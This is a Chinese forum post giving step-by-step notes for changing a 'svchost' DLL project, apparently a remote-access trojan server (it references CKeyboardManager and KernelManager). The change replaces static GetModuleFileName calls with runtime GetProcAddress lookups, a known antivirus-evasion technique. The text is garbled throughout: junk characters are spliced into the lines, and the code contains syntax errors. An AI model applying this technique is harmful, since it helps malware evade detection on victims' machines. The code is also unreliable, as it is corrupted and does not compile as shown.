[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记8 c+ o: V5 g2 O" h/ O( }6 H! i
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h) Y7 f8 [# N. B4 ^' b
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DTDY.h：
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#if _MSC_VER>1000
* \! c! k* y" o  n: y$ O+ c7 y#pragma once9 b9 [( g: o+ }7 l6 O: Z
#endif //_MSC_VER>1000
; R5 i( O1 X4 W% b7 b" j#include<windows.h>
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  [$ F9 f4 \* ^$ w) ltypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);4 l+ L3 j. k$ d+ L; U6 |
class DTDY
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1 ^1 |. U/ s  N( ?+ {0 W$ cpublic:
. V/ B) Z8 s0 ^( dDTDY();# q8 I0 B& y& c0 i- L% V
virtual ~DTDY();
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static pGetModuleFileNameA MyGetModuleFileName;9 ?; A0 L: y6 v( ^% I; h% t
static BOOL FunInitiallization();6 T5 h( s) o1 U0 J2 ]1 _
};
7 b9 t5 e% f$ e+ z8 v#endif, d  J: v+ q/ ^( t% x# p; B
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DTDY.cpp:; Q% e9 k, ^( T. H& K7 _
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#include "DTDY.h"
* {4 q( S6 U! [2 CpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
- H0 o. `' `6 S5 }6 ?1 C( K9 tDTDY:TDY()
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) b' |! f* b" Z' d1 }* Z' ODTDY::~DTDY()! M9 r5 V; G1 L1 Z0 ]: {/ b( ^3 I0 x
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BOOL DTDY::FunInitiallization(); F4 \3 G' d! S9 X+ F* B) ~
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HMODULE hModule=LoadLibrary("kernel32.dll");
# S5 j& L; w" @MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
0 t! y, b: [1 i$ z/ D6 H' _if(!MyGetModuleFileName=) return FALSE;, {! W- F' |- |* e/ T9 C: o( ?
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return TRUE;4 q* V1 d% j" H8 ^. L3 ~% u+ w
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* n" J, `0 Z+ d  K0 a0 ]svchost.cpp:
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#include "DTDY.h"
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6 x5 P, j) p3 l. v2 K# {BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)
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if(!DTDY::FunInitiallization()) return FALSE;
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}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
0 b! q+ S( Z, M4 f2 x* o# U" [改写为8 @+ f/ m1 q& c1 ^3 U% O& z
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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3 l' H* |2 X+ K: @4 B; wKernelManager.cpp:
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3 y- B+ ^# [2 R#include "../DTDY.h"/ J: C- d% ^$ j3 w
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
3 r$ U; b9 Q+ G( P0 s2 @2 P改写为
* h: S" P" n: e$ Q8 TDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));4 |5 y) I7 z" l  w
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